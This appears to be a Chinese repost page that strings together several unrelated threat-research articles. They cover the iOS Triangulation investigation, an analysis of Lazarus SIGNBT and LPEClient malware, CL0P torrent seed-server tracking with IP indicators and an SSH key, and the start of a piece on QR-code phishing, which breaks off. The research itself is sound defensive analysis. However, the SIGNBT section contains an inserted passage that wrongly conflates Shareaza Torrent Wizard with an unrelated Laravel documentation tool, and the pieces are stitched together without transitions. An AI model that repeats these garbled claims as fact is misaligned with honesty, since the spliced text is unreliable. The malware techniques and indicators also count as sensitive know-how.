檢查備份研究人員下一步決定使用設備的iTunes備份來代替完整的設備映像，這一程序必須在相當保密的情況下進行，以免提醒攻擊者。

由於研究人員不知道攻擊者的確切能力，只能默認他們在監聽設備的麥克風，閱讀電子郵件和即時通信對話。所以，研究人員不得不親自安排會議，把手機放在飛機模式下，有時放在法拉第包裡。研究人員使用libimobiledevice的優秀工具來獲取備份，並通過使用移動驗證工具包構建事件時間軸來檢查它們，該時間軸結合了文件系統時間戳和從各種系統數據庫中提取的數據記錄。研究人員專注於iMessage目錄，因為早在2021年，Citizen Lab的研究人員通過檢查這些目錄中的文件發現了FORCEDENTRY漏洞。

Triangulation活動背後的攻擊者非常隱蔽，研究人員在備份中沒有發現任何漏洞利用的跡象，他們還搜索了惡意軟件的可執行文件，但也沒有找到。

不過，研究人員還是發現了可疑網絡活動的時間戳。為此，他們開始尋找時間軸上發生在同一時間的重複事件。結果，研究人員發現了一個看起來像新指示器的東西，數據使用記錄提到了一個名為“BackupAgent”的系統進程，不過這個進程根本不應該被執行，因為二進製文件在幾年前就被棄用了。

1.png

在設備日誌中觀察到的來自BackupAgent進程的異常活動，研究人員在Triangulation 活動的第一篇文章中就分享過這個片段。

基於這個異常的發現，研究人員編寫了第一版的triangle_check工具，它使研究人員能夠快速確認設備的備份是否包含潛在攻擊的痕跡。

試圖攔截惡意iMessage進一步查看事件時間軸，研究人員發現了第二個痕跡，在BackupAgent進程使用數據之前，修改了一個空的SMS附件目錄。由於目錄被修改了，但不包含任何文件，這通常意味著可以高度肯定最後一個操作是文件刪除，有一個傳入的附件，它被刪除幾秒後，名為BackupAgent的進程正在運行可疑的網絡代碼。

由於Triangulation 活動背後的攻擊者似乎足夠聰明，可以從受攻擊的設備中刪除惡意附件，因此研究人員決定嘗試在iMessage傳遞過程中捕獲傳入消息。在尋找攔截imessage的方法時，研究人員發現了谷歌Project Zero團隊編寫的Frida腳本。它是為Mac電腦設計的，所以研究人員拿了一台備用的Mac mini，在上面安裝了Frida。然後，研究人員要求幾位目標同事用他們的蘋果id登錄Mac mini。這樣，研究人員能夠監控和攔截他們收到的imessage，接下來要做的就是等待攻擊者再次攻擊。

與此同時，研究人員積極監控SIEM日誌，尋找可疑活動的痕跡。很快，研究人員就發現了熟悉的網絡連接，這表明一款帶有iMessage帳戶的手機成功攻擊。然而，當我們檢查Mac mini上的iMessage攔截日誌時，卻沒有消息痕跡。因此，系統無法捕獲可能包含漏洞的消息，所以我們開始尋找其他方法來捕獲惡意軟件。

在通過Mac設備攔截iMessages的計劃失敗後，研究人員決定嘗試解密之前從流量分析中識別出的C2服務器的HTTPS通信。

為此，需要做到：

搭建Linux服務器，安裝HTTPS攔截工具mitmproxy；

在幾個已知被攻擊的iOS設備上安裝了根SSL證書(研究人員之前通過mitmproxy生成的)；

在這些設備上安裝Wireguard VPN客戶端，並配置它們使用研究人員的mitmproxy實例作為VPN服務器。

研究人員還開發了一個Telegram機器人，當受監控的設備被攻擊時，它會通知研究人員：

2.jpg

不幸的是，這種方法不允許研究人員攔截蘋果服務(包括iMessage)的HTTPS流量，因為iOS為此實現了SSL綁定。因此，研究人員無法解密來自VPN的iMessage流量。

捕捉JavaScript驗證器一旦攻擊者再次攻擊了其中一個目標，研究人員查看了mitmproxy日誌，注意到它成功地解密了C2服務器的流量：

3.png

研究人員希望獲得的有效負載是iOS的漏洞。但是，它是JavaScript驗證器，它只是收集有關受害瀏覽器的信息並將其發送到C2服務器。

研究人員觀察到受攻擊的設備接收響應發送到C2服務器的驗證信息的有效負載。然而，雖然研究人員能夠攔截HTTPS流量，但無法解密它。這是因為JS驗證器使用NaCl庫為C2通信實現了自己的加密層，使用的加密算法基於公鑰加密。具體來說，為了與C2服務器通信，JS驗證器如下：

1.生成一個隨機密鑰對(由私鑰和公鑰組成)；

2.從生成的私鑰和C2服務器的公鑰中派生共享密鑰；

3.使用此共享密鑰加密發送到C2服務器的消息並解密從C2服務器接收到的消息。

4.png

密鑰生成為了解密C2服務器通信，有必要知道由JS驗證器隨機生成的私鑰。但是，這個密鑰保存在內存中，不會被發送到C2服務器，所以研究人員必須做一些額外的工作來解密驗證器的流量。

如上圖所示，JS驗證器通過調用nacl.box.keyPair()方法生成一個隨機密鑰對。為了解密流量，研究人員編寫了一個很小的mitmproxy附加組件，用於查找對nacl.box.keyPair()方法的調用。然後用另一個方法nacl.box.keyPair.fromSecretKey()替換它們，該方法根據提供的私鑰初始化對。

5.png

從上圖中可以看出，研究人員將私鑰硬編碼到該方法的參數中，從而隱藏驗證器的加密方案。一旦在受攻擊的設備上執行了後門驗證器，就可以解密JS驗證器的所有通信。

二進制驗證器和關於附件的提示一旦攻擊者再次攻擊了其中一個目標，研究人員就能夠分析驗證器進一步執行的有效負載。結果發現它包含兩個漏洞：一個針對WebKit，另一個針對iOS內核。這兩個漏洞的最終目標是在目標設備上啟動二進制驗證器階段。

如上所述，二進制驗證器包含一個清除惡意iMessage痕蹟的函數。具體來說，研究人員發現這個函數向SMS.db數據庫發出以下SQL請求：

6.png

條件“uti==”com.apple.watchface“”給了我們另一個提示：現在很明顯，惡意附件是.watchface文件。因此，通過更多關於附件的信息，研究人員計劃並執行了獲取附件的下一次嘗試。

發送iMessage附件的過程為了設計另一種獲取附件的策略，研究人員決定更詳細地研究發送iMessage附件的過程。這個過程包括以下幾個步驟：

1.發送方生成一個隨機的AES密鑰並用它加密附件；

2.加密的附件被上傳到iCloud；

3.iCloud加密附件的鏈接與AES密鑰一起發送給收件人，AES密鑰使用設備的公共RSA密鑰進行額外加密。

因此，要獲取惡意附件文件，研究人員必須檢索兩個組件：

1.加密的附件；

2.用於加密的AES密鑰。

獲取加密的附件非常簡單，因為可以通過mitmproxy攔截到iCloud服務器的流量。之前，研究人員寫過iOS不允許解密蘋果服務的HTTPS流量，iCloud附件鏈接卻是一個例外。

同時，AES密鑰的獲取過程相當困難。它是通過iMessage協議發送的，因此不能通過mitmproxy進行攔截。不過，研究人員發現了一種恢復附件的方法，並通過對目標設備的物理訪問提取該密鑰。研究人員使用iCloud鏈接阻止iMessage成功下載附件，因此該漏洞不會激活然後刪除附件，但AES加密密鑰將存儲在SMS.db數據庫中。

研究人員決定使用mitmproxy附加組件更改加密附件中的幾個字節。這樣，研究人員中斷了下載加密附件的過程，解密密鑰保存在SMS.db數據庫中。然後，研究人員下載了受攻擊設備的iTunes備份，並從該備份中的數據庫中提取了密鑰。結果，研究人員獲得了攻擊者發送的惡意.watchface附件，這是用於使用漏洞利用鏈的開始。

植入過程在研究人員獲得攻擊者使用的漏洞之後，剩下的就是獲得植入程序了。二進制驗證器是負責從C2服務器下載和激活植入有效負載的組件，它使用RSA和AES的組合進行通信。同樣，使用RSA意味著僅使用加密流量是不可能解密植入有效負載的。

為了與C2服務器交換數據，二進制驗證器需要：

1.生成一個隨機的AES密鑰；

2.用驗證器配置中指定的服務器的RSA公鑰加密生成的AES密鑰；

3.使用生成的AES密鑰對要發送到C2服務器的消息進行加密；

4.向C2服務器發送加密消息，並接收C2服務器的響應；

5.使用用於加密發送消息的相同AES密鑰解密響應。

驗證器用以下ARM指令加密所有數據包：

7.png

這段代碼首先執行“serialized_plist”函數，該函數為發送準備數據。執行之後，寄存器X0指向準備發送到服務器的數據。

下一個要調用的函數是“encryptData”。它有兩個參數：一個指向正在加密的數據的指針被傳遞到X0寄存器，而X1寄存器包含一個帶有配置數據(包括加密參數)的pllist。在執行這個函數之後，X0寄存器包含一個指向加密附件的指針。

為了破壞加密過程來攔截來自受攻擊設備的數據。研究人員決定將對“encryptData”函數的調用替換為NOP指令(1f2003d5)。這樣，X0寄存器的值將不會被指向加密數據的指針覆蓋，並且驗證器將向研究人員的VPN服務器發送明文數據。

就像JavaScript驗證器的情況一樣，研究人員通過擴展mitmproxy插件來修補代碼：

8.png

使用NOP修補對encryptData函數調用的mitmproxy附加代碼片段

當明文數據到達研究人員的VPN服務器時，他們會再次通過mitmproxy附加組件模擬密鑰交換和數據加密，並控制加密密鑰的值。結果，研究人員成功地解密了C2服務器發送的數據，並提取了植入程序。

獲取模塊在對TriangleDB植入程序進行逆向工程後，研究人員發現它能夠執行輔助模塊，這讓研究人員想要獲得模塊二進製文件。在對植入的分析中，發現模塊可執行文件通過CRXUpdateRecord和CRXUpdateRunRecord命令傳遞給植入程序。因此，為了獲得這些可執行文件，必須能夠解密發送到C2服務器的所有命令。

同樣，加密算法是基於RSA的，所以研究人員的操作類似於獲取植入程序二進製文件的操作。

不過這一次，研究人員決定：

1.生成自己的RSA公鑰/私鑰對；

2.將植入配置中的RSA公鑰替換為先前生成的公鑰。

研究人員將以下代碼添加到mitmproxy插件中：

9.png

當植入流量到達研究人員的VPN服務器時：

1.用研究人員生成的RSA私鑰解密它；

2.保存解密後的流量；

3.使用攻擊者使用的公鑰對流量重新加密。

通過這種方式，研究人員能夠監控由植入程序執行的所有通信，並獲得模塊二進製文件。

總結研究人員調查Triangulation活動的過程相當漫長，總共花了幾個月的時間。儘管經歷了許多波折，研究人員最終還是設法獲得了這次攻擊中使用的所有階段，包括向蘋果報告的四個零日漏洞，兩個驗證器，一個植入程序及其模塊。

在此過程中，研究人員對iOS內部進行了大量研究，並提出了許多有趣的技術，例如研究人員用於提取iMessage附件的技術。研究人員在研究過程中遇到的主要困難是處理在攻擊鏈的每個階段都使用的公鑰加密。為了繞過加密，研究人員必須開發一個mitmproxy附加組件。

HireHackking

sl-abstract-malicious-binary-code-1200-1200x600.jpg今年上半年，一家軟件供應商受到了Lazarus惡意軟件的攻擊，該惡意軟件是通過未打補丁的正版軟件傳播的。值得注意的是，這些軟件漏洞並不是新的，儘管供應商發出了警告和補丁，但許多供應商的系統仍繼續使用有漏洞的軟件，允許攻擊者利用它們。幸運的是，研究人員的主動響應發現了對另一個供應商的攻擊，並有效地挫敗了攻擊者的努力。

經過進一步調查，研究人員發現開發被利用軟件的軟件供應商之前曾多次成為Lazarus的受害者。這種反復出現的漏洞表明，一個持久的攻擊者的目標可能是竊取有價值的源代碼或篡改軟件供應鏈，他們繼續利用公司軟件中的漏洞，同時瞄准其他軟件製造商。

1.png

攻擊時間

攻擊者表現出了高度的複雜性，採用了先進的逃避技術，並引入了SIGNBT惡意軟件來控制受害者。此外，在內存中發現的其他惡意軟件包括Lazarus著名的LPEClient，這是一種以受害者分析和有效負載傳播而聞名的工具，此前曾在針對國防承包商和加密貨幣行業的攻擊中被觀察到。

執行情況如下：

1.一個軟件供應商通過利用另一個備受矚目的軟件而受到威脅。

2.這次攻擊中使用的SIGNBT惡意軟件採用了多種攻擊鍊和複雜的技術。

3.在這次攻擊中使用的LPEClient被觀察到執行一系列與Lazarus組織相關的目標攻擊。

SIGNBT加載程序在2023年7月中旬，研究人員發現了一系列針對幾名受害者的攻擊，這些攻擊是通過合法的安全軟件進行的，這些軟件旨在使用數字證書加密網絡通信。該軟件被利用來傳遞惡意軟件的確切方法仍然難以捉摸。然而，研究人員在正版軟件的進程中發現了利用後的活動。

在檢查受害者係統中受攻擊安全軟件的內存時，研究人員發現了帶有shellcode的SIGNBT惡意軟件的存在，這個shellcode負責直接在內存中啟動Windows可執行文件。

攻擊者使用各種策略在受攻擊系統上建立和維護持久性。這包括在系統文件夾中創建一個名為ualapi.dll的文件，該文件在每次系統引導時由spoolsv.exe進程自動加載。此外，在幾個樣本中，記錄了註冊表項以執行合法文件，以進行惡意的側加載，從而進一步確保了持久性攻擊機制。

2.png

加載最終有效負載方法

利用spoolsv.exe進程進行劫持是Lazarus的長期策略。每次重啟後自動加載ualapi.dll文件並不是這個攻擊者獨有的新技術，研究人員在過去看到過類似的策略被Gopuram惡意軟件使用。

惡意的ualapi.dll文件是使用名為Shareaza Torrent Wizard的公開源代碼開發的，shareaza是一款在國外評價極高並且相當流行的開放源代碼的p2p軟件(簡稱raza),Shareaza集合了edonkey、gnutella(1和2)和bt四種流行p2p網絡類型,並可以用於http下載,在以後的版本將會支持ftp下載,由於其優秀的界面(支持換膚)、簡潔的操作以及極強的可製定性,所以在國外廣為流傳,其評價已躍居所有p2p軟件的前5之列,並且許多p2p的下載站點已將其指定為bt的官方下載工具。

Wizard 是基於Laravel開發框架開發的一款開源項目（API）文檔管理工具。 目前支持三種類型的文檔管理Markdown。它遵循典型的Lazarus組織攻擊方法，利用公共源代碼作為基礎，並向其中註入特定的惡意功能。這個加載程序惡意軟件有一個程序來驗證受害者，它通過從Windows註冊表中讀取受害者的MachineGuid來查看其是否存在其中，然後將其與嵌入的MachineGuid值進行比較。為了訪問這個嵌入式MachineGuid值，惡意軟件定位序列“43 EB 8C BD 1D 98 3D 14”，並讀取緊隨其後的DWORD。只有當受害者的MachineGuid與預期的匹配時，惡意軟件才會進行下一步。然後，惡意軟件從硬編碼的文件路徑讀取有效負載並繼續其惡意活動。

1.有效負載路徑：C:\Windows\system32\config\systemprofile\appdata\Local\tw-100a-a00-e14d9.tmp

加載程序進程從tw-100a-a00-e14d9.tmp中檢索前32個字節，並使用該數據作為AES解密密鑰來解密其餘內容。一旦解密，負載(標識為SIGNBT的Windows可執行文件)將直接加載到內存中。在這種情況下，加載的有效負載也從相同的路徑讀取配置文件，但文件名略有不同。

配置文件：C:\Windows\system32\config\systemprofile\appdata\Local\tw-100b-a00-e14d9.tmp，

該文件內部是一個base64編碼的字符串，這與之前的SIGNBT惡意軟件方法中使用的方法類似。該字符串的前32個字符作為AES解密密鑰，後面的數據包含惡意軟件使用的配置信息。解密後的配置數據包括三個C2地址(稱為代理)、睡眠間隔、版本信息、監視的目標以及對惡意軟件操作至關重要的各種其他參數等詳細信息。

SIGNBT大多數SIGNBT惡意軟件樣本是通過惡意軟件加載程序啟動的，該加載程序只在內存中運行。在執行時，惡意軟件在初始化其配置數據後，通過發送信標開始與C2服務器通信。在其C2通信中，惡意軟件使用以SIGNBT開頭的獨特字符串。這一獨特的特點為它贏得了SIGNBT的稱號。此外，惡意軟件在其C2操作的每個階段使用不同的前綴來驗證和維護其活動。

3.png

惡意軟件採用多步驟過程來創建一個24字節的值，用於各種目的。首先，它通過以下組件生成這個值：

1.8字節的硬編碼值(SIGNBTLG):這是值的固定部分，用於驗證客戶端連接的合法性。

2.主機名MD5哈希的8個字節:包括受害者計算機名MD5哈希的前8個字節，有助於區分每個受害者。

3.隨機生成的8字節標識符：另外8字節隨機生成，可能用於會話標識符。

在創建了這個24字節的值之後，惡意軟件會生成另外24字節的隨機數據。然後使用另一個隨機生成的24字節密鑰將這兩組24字節組合在一起。隨後，結果值和24字節密鑰都用base64編碼。最後，將這些編碼值與三個或七個隨機生成的HTTP參數名組合在一起。在未來的所有C2通信中，惡意軟件使用類似的結構，這使得檢測和分析其通信更具挑戰性。

4.png

HTTP POST數據結構

惡意軟件使用一種機制來驗證從C2服務器接收到的響應數據。具體來說，它檢查響應數據是否包含硬編碼的HTML腳本。

5.png

在驗證過程中，惡意軟件使用base64解碼來自C2服務器的前12個字節，用加號替換空格以創建一個7個字符的字符串，然後對接下來的12個字節重複此過程。然後將每個集合中的前七個字符異或處理並與“success”字符串進行比較，此重複過程應用於每個HTTP通信序列，以驗證響應是否符合預期的“success”標準。

接下來，惡意軟件發送帶有SIGNBTKE頭的HTTP請求，如果它收到來自C2服務器的“success”消息，它會激活CCBrush類中的getInfo函數。該功能收集受害者計算機的各種信息，如計算機名稱、產品名稱、操作系統詳細信息、系統正常運行時間、CPU信息、系統區域設置、時區、網絡狀態和惡意軟件配置數據。在發送此特定於系統的信息之後，惡意軟件發送另一個帶有SIGNBTGC前綴的HTTP請求，這次使用從100個可能的參數名稱列表中隨機選擇的嵌入式HTTP參數。

6.png

使用AES和從SIGNBTLG HTTP請求獲得的解密密鑰對從C2服務器接收到的數據進行解密。如果解密的數據是“keep”，惡意軟件使用SIGNBTSR前綴響應“OK”消息，表示通信成功。如果存在問題，惡意軟件使用SIGNBTFI前綴來傳達問題或通信失敗的性質。綜上所述，C2通信過程可以描述如下:

7.png

C2通信過程

如果傳遞的數據不等於“keep”，表明需要特定的指令或操作，則惡意軟件繼續調用相應的類和函數進行後門攻擊，SIGNBT惡意軟件配備了一套廣泛的功能，旨在對受害者的系統施加控制。為了執行這些功能，惡意軟件以類名、函數名和任何必要參數的形式從C2服務器接收指令。然後，它執行嵌入在惡意軟件代碼庫中的相關功能。

8.png

每個後門命令的名稱都很簡單，實現了常用的Windows命令，如ping、netstat和systeminfo。需要注意的是，後門能夠為自動執行植入額外的有效負載，內部命名為“deploy”。這個後門函數通過使用AES解密的命令行參數接收文件路徑，使用這個命令，可以觀察到SIGNBT植入瞭如上所述的SIGNBT加載程序部分已經描述過的魔幻DLL。

經過分析，攻擊者最初對受害者的攻擊涉及利用軟件漏洞，然後，他們開始使用DLL側加載技術部署SIGNBT惡意軟件。此外，攻擊者使用後門功能“deploy”來為自動執行植入額外的有效負載。這種多方面的攻擊表明了攻擊的高度複雜程度。

LPEClient使用如上所述的綜合後門，攻擊者在受害者的內存中部署了額外的惡意軟件。值得注意的是，這些新發布的惡意軟件變體主要只在系統內存中執行，而不干擾磁盤。根據研究人員的追踪分析，他們已經觀察到攻擊者向受害者設備提供了LPEClient和憑據轉儲實用程序等工具。

9.png

SIGNBT提供的額外有效負載

LPEClient惡意軟件並不新鮮，最早是在2020年對國防承包商攻擊的調查中發現的，它旨在收集受害者信息並從遠程服務器下載額外的有效負載以在內存中運行。雖然之前已經有過報導，但最近的發現表明LPEClient已經發生了重大的迭代。它現在採用先進的技術來改進其隱身性並避免檢測，例如禁用用戶模式系統調用掛鉤和恢復系統庫內存部分。這表明攻擊者在不斷努力提高其惡意軟件的複雜性和有效性。

與其他攻擊活動的聯繫此次攻擊中使用的一種名為LPEClient的惡意軟件在最近被認為是Lazarus組織開發的表現最為突出的攻擊活動。這種特殊的惡意軟件一直作為初始攻擊載體，加速了有效負載的傳播。在很長一段時間裡，專門針對國防承包商和核工程師。

在最近的一次事件中，攻擊者通過木馬化的VNC或Putty客戶端發送LPEClient進行中間攻擊，從而攻擊目標。另一個針對加密貨幣行業的活動是在2023年7月發現的，在這個以經濟動機的攻擊活動中，攻擊者利用了與3CX供應鏈攻擊有關的Gopuram惡意軟件。有趣的是，在該樣本中，攻擊者還使用了LPEClient惡意軟件。在引入Gopuram集群之前，LPEClient被用於傳播後續的惡意軟件。這三個被認為是Lazarus在2023年發起的攻擊，說明了不同的初始攻擊載體和攻擊鏈，但它們始終依賴於LPEClient惡意軟件來傳遞最終的有效負載。

10.png

2023年Lazarus攻擊的三此活動的攻擊鏈

總結在當今的網絡安全領域，Lazarus組織仍然是一個高度活躍和多才多藝的攻擊者。攻擊者已經展示了對IT環境的深刻理解，改進了他們的策略，包括利用高知名度軟件中的漏洞，這種方法允許他們在初始攻擊完成後有效地傳播惡意軟件。此外，這個臭名昭著的攻擊者的活動超越了地理界限和行業部門，他們針對不同的行業有不同的目標，使用不同的工具、戰術和技術，這突出表明他們最近的活動具有復雜的方法和明確的動機。

HireHackking

解決辦法CL0P組織利用Seed傳輸竊取的敏感數據（上）

如上所述，速度是至關重要的。加入torrent的時間窗口很短，每過一秒，找到原始播種者的可能性就會減少。為了解決這個問題，就需要不斷地監控他們的洩漏網站，以獲得新的公告，然後使用磁力鏈接開始節點過程。

一旦連接到torrent，研究人員就可以坐在群裡監視對等點，直到研究人員找到第一個顯示100%完成狀態的人。此時，信息被記錄後將自己從群中刪除。

出於講解需要，研究人員把所有受害組織的名字都改成了Pokémon。

當連接到torrent時，就會輸出。

7.png

該輸出應包括以下內容：

所連接對等點的IP地址；

對等點狀態標誌；

完成百分比；

上傳/下載速度；

Torrent客戶端；

8.1.png

8.2.png

8.3.png

映射對等點以及Pokémon

在將這些數據點連接起來之後，你最終得到的是一個連接網絡，研究人員可以將其可視化，以便更好地進行分析。

9.png

節點映射

上圖關注了三個不同的數據點:

對等點地址；

受害者；

使用中觀察到的客戶端；

研究人員根據對等點在記錄日誌時所觀察到的數據量連接每個端，然後，研究人員用顏色對鏈接進行編碼，如下圖所示，這樣100%的鏈接就會突出。

這允許快速檢查以識別地址，地址分為三類：

經確認的原始播種機；

潛在的原始播種機；

非原始文件(non-original)播種機；

再來看一看Charmander，你會注意到兩條灰色的線指向它，這些都是低於100%的鏈接，研究人員把所有100%的鏈接都編碼為紅色，藍色鏈接將對等點連接到其觀察到的客戶端字符串。如下圖所示：

10.png

CharmanderPeering

Peering在兩個ISP之間交換路由通告，以確保來自第一個ISP的業務能夠到達第二個ISP的客戶，反之亦然。對等操作主要在IXP進行，通常是免費提供或遵照雙方商定的商務協議提供。

在添加每個主機的過程中，當研究人員從受害者切換到對等點時，模式開始出現。

如果一個主機有100%的鏈接，但數量很低，比如只有2-4個，那麼研究人員認為他們是一個潛在的torrent。如果一個主機有100%的鏈接，但數量很多，那麼研究人員認為他們只是一個潛在的原始torrent。任何有低於100%鏈接的主機，研究人員都認為它們是非原始文件種子。

回到以前的IP地址81.19.135[.]21（如下圖所示），研究人員可以看到一個極似原始播種機的樣子。

11.png

原始播種機

極有可能的原始seed不僅具有100%seed的高容量，而且是許多受害者唯一登錄的對等點，此外，對等點數據集之間開始出現模式。例如，研究人員認為大多數原始種子主機都使用Transmission 3.00客戶端字符串，進一步將它們的活動綁定在一起；而一個擁有相對唯一的客戶端字符串的主機（如下圖中的主機）卻很少被發現。這讓研究人員更傾向於將它們作為一個實體，只是出於其他原因下載所有數據，並且它們已經完成了下載。

12.png

不太可能是原始播種機

所有這一切都是說，這些數據點讓研究人員能夠迅速過濾和淘汰不那麼有趣的對等點，這樣研究人員就可以把注意力集中在重要的點上。

下圖中所示的這個人甚至在每個torrent文件中更改他們的客戶端字符串。這更加證明了他們不是原始播種者，儘管在研究人員觀察他們的時候，他們已經播種了很多數據。

13.png

Nonoriginal播種機

通過查看數據並應用上述邏輯，研究人員能夠克服上述一些問題，即在發布torrent文件後研究人員才開始收集數據。

總的來說，研究人員能夠在這個數據集中識別出五個研究人員認為很有可能是原始播種者的主機，以及兩個可能成為未來播種者的主機。這有必要進行更深入的研究。

Seed Group 1有一種模式幾乎立刻就凸顯出來，那就是三個IP地址似乎在同一個網絡上。

81.19.135[.]21

81.19.135[.]25

81.19.135[.]31

這三個IP地址都存在於FlyServers（一家VPS託管公司）擁有的AS 209588的同一個子網中。 IP位於俄羅斯莫斯科。每一個都表現出有趣的特徵，這些特徵進一步將它們聯繫在一起，有力地證明了它們是由攻擊者控制的。

例如，請注意下圖所示的模式，因為它與前兩個IP地址的SSH可用性和FTP可用性有關：

14.png

81.19.135[.]21服務掃描

15.png

81.19.135[.]25服務掃描

對於以21結尾的IP, SSH端口在2023年8月6日停止響應，FTP端口在2023年8月7日開始響應。對於以25結尾的IP，研究人員看到SSH在2023年8月6日停止，FTP在同一天打開。

同樣，對於下圖中以31結尾的IP，雖然研究人員沒有SSH可見性，但研究人員可以看到FTP也在8月6日打開。

16.png

81.19.135[.]31服務掃描

服務器運行的是vsFTPd 3.0.3和OpenSSH_8.4p1。在TCP/8423上以25結尾的IP的簡短可見性表明，它已轉換為在非標準端口上運行SSH。

為了確認播種服務器是不同的實體，而不是某種負載平衡服務背後的同一個盒子，研究人員查看了vsFTPd使用的TLS證書，它們都是自簽名的：

81.19.135[.]21=44102.example.ru，有效期為2023年8月6日22:49:51 GMT-0400；81.19.135[.]25=14868.example.ru，有效期為2023年8月5日23:48:55 GMT-0400；81.19.135[.]31=33916.example.ru，有效期為2023年8月5日23:48:08 GMT-0400；

其中包括了證書的起始日期，如上所述，彼此相距大約一個小時。這意味著，CL0P在他們計劃發布第一個磁力鏈接的大約10天前，在他們公開宣布打算轉向這種傳播方式的5天前，就對這些盒子進行了預處理。

使用這些模式，研究人員擴展了對在Common Name (CN)值中包含example.ru的證書的搜索，這些證書被觀察到具有FTP。研究人員確定了同一子網上的另一台主機(如下圖所示)，它具有類似的功能，但尚未顯示在對等點信息中。

17.png

更寬的網絡識別以11結尾的新主機

你可以看到相同的行為，SSH端口在2023年8月6日失去可見性，FTP端口在2023年8月7日變為活動，這與研究人員觀察到的其他情況一致。

81.19.135[.]11=43577.example.ru，有效期為2023年8月6日23:03:31 GMT-0400

在這台主機上還值得注意的是兩個月前Windows服務的出現，如下圖所示。這意味著VPS在該時間範圍內從Windows重新調整為基於*nix的設備。

18.png

81.19.135[.]11服務掃描

為了有效地託管竊取的數據，需要進行大量的協調。可能以11結尾的IP地址正準備託管更多的受害文件。

以25和31結尾的兩個IP地址的受害者是在8月15日或幾天后公佈的。而從8月24日開始，以21結尾的IP地址開始在受害者公告中使用，其觀察到的受害者數量幾乎是其他IP地址的四倍。這可能只是研究人員觀察它們的結果，但也可能意味著這個盒子有些不同。

Seed Group 2另一個突出的IP也被Gary Warner在LinkedIn上提到，他正在尋找關於CL0P seed的相同類型的信息。

在Cl0p決定沒有人能夠通過.onion服務器下載他們被盜的數據後，他們遷移到使用bitTorrent。

當然，使用bitTorrent的問題是，攻擊者託管被盜數據的位置變得非常明顯。如果一個人訪問TORRENT，並且只有一個IP地址提供100%的數據，對於更大的數據集，那麼幾乎可以肯定，這就是攻擊者為提供文件而獲得的主機。但對於微小的數據集來說，情況並非如此，對於這些數據集，攻擊者可以在很短的時間內等待其他人獲得100%的文件，然後斷開他們的原始位置。

目前，“100%”數據集的主要位置是：

95.215.0[.]76=AS34665 Petersburg Internet, St. Petersburg Russia，這是

在pindc[.]ru上託管的公司招聘信息。

此IP地址為95.215.0[.]76，如下圖所示，與以前的數據集有一些相似之處。具體來說，使用了字符串Transmission 3.00的BitTorrent客戶端，託管提供商是另一家俄羅斯公司。

19.png

另一個已確認的原始種子服務器

果不其然，這個播種服務器（如下圖所示）表現出與其他數據集類似的行為，因為它也與服務相關。然而，這個活動比另一個數據集早一個月發生，SSH服務一直持續到7月17日，FTP服務從7月18日開始出現。

20.png

95.215.0[.]76服務掃描

這可能是一個較舊的盒子，它還使用一組不同的服務來託管FTP，並進一步利用ProFTPD。同樣，VPS託管在俄羅斯聖彼得堡，並由AS 34665宣布用於彼得堡互聯網（PIN）數據中心。

此IP與IP地址95.215.1[.]221共享下面的SSH密鑰。

ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNos5CNsQHUKlXJSFDJKtPB/4FlkqW6R0crEQaONn3TJ2TICxQRUTh8DgITlLcidJf0pnn0zVMWwE6PsWDI3eZU=

雖然研究人員目前還沒有觀察到這個IP地址，但還不知道這是由於可見性問題還是該盒子尚未用於託管原因造成的，它確實與SSH和FTP共享相同的顯著行為。如下圖所示：

21.png

95.215.1[.]221服務掃描

Seed Group 3將這些模式應用到研究人員收集的其他對等體上，下圖中顯示了IP地址92.118.36[.]111。

22.png

獨立seed主機

在該樣本中，研究人員只觀察到它以100%的速度為Articuno播種了一個torrent，它位於阿姆斯特丹，由StreamHost的AS 209132宣布。

這個torrent的一致之處在於，它使用Transmission 3.00客戶端字符串，並且從8月9日開始具有類似的FTP訪問權限。如下圖所示：

23.png

92.118.36[.]111服務掃描

最後要說明的一點是，在搜索這個IP地址時，研究人員偶然發現了一個以112結尾的下一個IP的AbuseIPDB報告，如下圖所示：它在2023年6月初顯示了一份針對MOVEit漏洞的地址掃描報告，該漏洞是CL0P用來竊取所有這些數據的漏洞。

24.png

AbuseIPDB關於92.118.36[.]112的報告

這兩者之間是否有關聯尚不清楚，但如果沒有關聯，這將是一個有趣的巧合。

總結在本文所講解的樣本中，俄羅斯的幾個託管服務器保存了大量被盜受害者的數據。

根據分析，這些攻擊者很可能利用FTP將被盜文件傳輸到種子盒。另外，在FTP服務啟動之前，SSH訪問的一般可見性會立即關閉，這可能意味著很多事情，但最重要的是，在宣布磁力鏈接之前，他們可能會在服務器上預留被盜數據相當長的一段時間。

同樣，受害者數據在seed盒中的分佈也與他們的公告時間表不一致。這說明在torrent產生之前，數據已經在盒子上保存了一段時間，這可能是他們用來避免seed追踪的一種技術，方法是同時宣布不同的受害者，但從不同的盒子裡播種。

HireHackking

sl-abstract-phishing-hook-mail-accounts-under-water-1200x600.jpg

二維碼無處不在，你可以在海報和傳單、ATM屏幕、價籤和商品甚至建築物上看到它們，人們用它們來分享信息，推廣各種在線資源，然而，你卻很少在電子郵件中看到二維碼。用戶無需掃描即可在手機上直接閱讀信息，因為大多數信件都帶有普通的超鏈接，但攻擊者正越來越多地通過電子郵件發送的二維碼來實施攻擊。

與易於檢查和屏蔽的釣魚鏈接不同，二維碼是安全解決方案中令人頭疼的問題。分析二維碼並找出其中包含的信息，需要昂貴且資源豐富的計算機視覺技術。更糟糕的是，雖然一個普通的鏈接只需看一眼就可以整理出來，但使用二維碼，在掃描之前，你無法判斷它會把你重定向到哪裡。

二維碼也稱快速響應碼，是一種二維矩陣條形碼，由幾個正方形和多個點（模塊）組成，排列在白色背景上的正方形圖案中，可以使用圖像處理設備來掃描QR碼。它將首先通過正方形識別代碼的位置，然後讀取點中編碼的信息，除了實際的代碼外，方形區域還可以容納裝飾元素，例如公司徽標。

二維碼比1D條形碼能夠編碼更多的數據，它們通常用於編碼指向各種資源的超鏈接，例如商店目錄、結賬頁面或建築信息頁面。

電子郵件中的惡意二維碼攻擊者使用二維碼對網絡釣魚和詐騙頁面的鏈接進行編碼，研究人員在2021年底註冊了第一次使用該技巧進行惡意電子郵件活動的嘗試。這些都是模仿聯邦快遞（FedEx）和DHL等快遞服務公司電子郵件的詐騙信息，受害者會被誘騙通過掃描二維碼支付關稅，編碼的鏈接正在重定向到一個偽造的銀行卡數據輸入頁面。這場活動的規模不大，並到2022年年中有所減少。研究人員在2023年春季觀察到的以二維碼為特色的新電子郵件活動，與第一次不同的是，這次是針對微軟產品企業用戶的登錄名和密碼。

